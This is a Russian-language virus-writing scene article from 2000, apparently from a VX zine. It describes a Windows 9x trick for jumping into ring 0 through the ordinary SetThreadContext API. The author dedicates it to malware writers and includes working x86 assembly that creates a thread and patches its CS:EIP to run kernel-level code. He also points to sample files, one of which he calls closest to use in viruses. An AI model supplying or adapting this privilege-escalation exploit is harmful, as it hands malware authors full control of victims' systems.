               ENTERING RING-0 USING WIN32 API: CONTEXT MODIFICATION
               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

         Весь вред, причиненный этим текстом, посвящаю злым вирмэйкерам.

         Маздай.   Сколько   глюков   в   этом  слове!  Итак,  вашему  вниманию
     представляется  вроде  бы  неизвестный  до  сих  пор, но просто шокирующий
     способ перехода в нулевое кольцо защиты.
         Это  не  патч  системных  таблиц  и  не  загрузка VxD-драйвера; это не
     супер-пупер  глюк  в  системе и не какой-нибудь навороченный эксплоит; это
     даже   не   изъебские   вызовы   чево-то-там   через   кернел   и  это  не
     многомегабайтные исходники вызовов пэйджера на си.
         Это просто стандартные апи-функции третьего кольца.
         Суть  заключается  в вызове всего одной функции: SetThreadContext. Эта
     функция устанавливает контекст, то есть все регистры для заданной нити.
         Ситуация  усложняется  тем, что сохраненный контекст применяется (т.е.
     установка  регистров происходит) при переходе из нуля в третье кольцо при
     переключении  задач  и  при  возврате  в  кернел  из вызванных им процедур
     нулевого кольца.
         Таким  образом  мы подлавливаем момент, когда в контексте текущей нити
     управление  находится  в  нулевом кольце, а затем правим CS и EIP возврата
     на 28h и адрес-процедуры-нулевого-кольца.
         В  результате  вместо  того, чтобы вернуться из нуля обратно в кернел,
     управление возвращается к нам.
         Почему  нельзя  изменить  один  только  CS  на  28h? Потому, что тогда
     управление вернется в кернел, а кернеловский код в нулевом кольце сглючит,
     так как до начала работы надо переустановить сегментные регистры в 30h.

                            push    esp 0 0
                            push    offset thread_ring3_code
                            push    0 0
                            callW   CreateThread    ; создаем новую нить
                            xchg    ebx, eax        ; EBX=хендл нити

                            push    offset context
                            push    ebx
                            callW   GetThreadContext; получаем контекст нити

                            mov     context._segcs, 28h         ; меняем CS:EIP
                            mov     context._eip, offset ring0_code

                            push    offset context
                            push    ebx
                            callW   SetThreadContext; устанавливаем контекст

                            jmp     $               ; чего-то ждем

    thread_ring3_code:      push    1
                            call    Sleep           ; пауза
                            jmp     thread_ring3_code

    ring0_code:             push    ss ss           ; мы в нуле!
                            pop     ds es
                            ...

         Вот собственно и все. Рабочий пример в CONTEXT.ASM.

         Единственно,  что в таком нулевом кольце нельзя вызывать VxDcall-ы. Но
     это  ведь  не  проблема, так как из нуля можно что угодно записать в любую
     область  памяти, потом убить текущую нить и перейти в ноль как следует. Но
     это уже другая история.

     P.S.
         Улучшенный вариант перехода в 0 находится в CONTEXT2.ASM: здесь
     приходится организовывать свой стэк, зато можно вызывать VxDcall-ы.

         Еще более простой вариант в CONTEXT3.ASM: здесь мы обходимся вообще
     без создания новой треады и прочей хуйни. Эта версия наиболее приближена
     к нормальному использованию в вирях.

(x) 2000 Z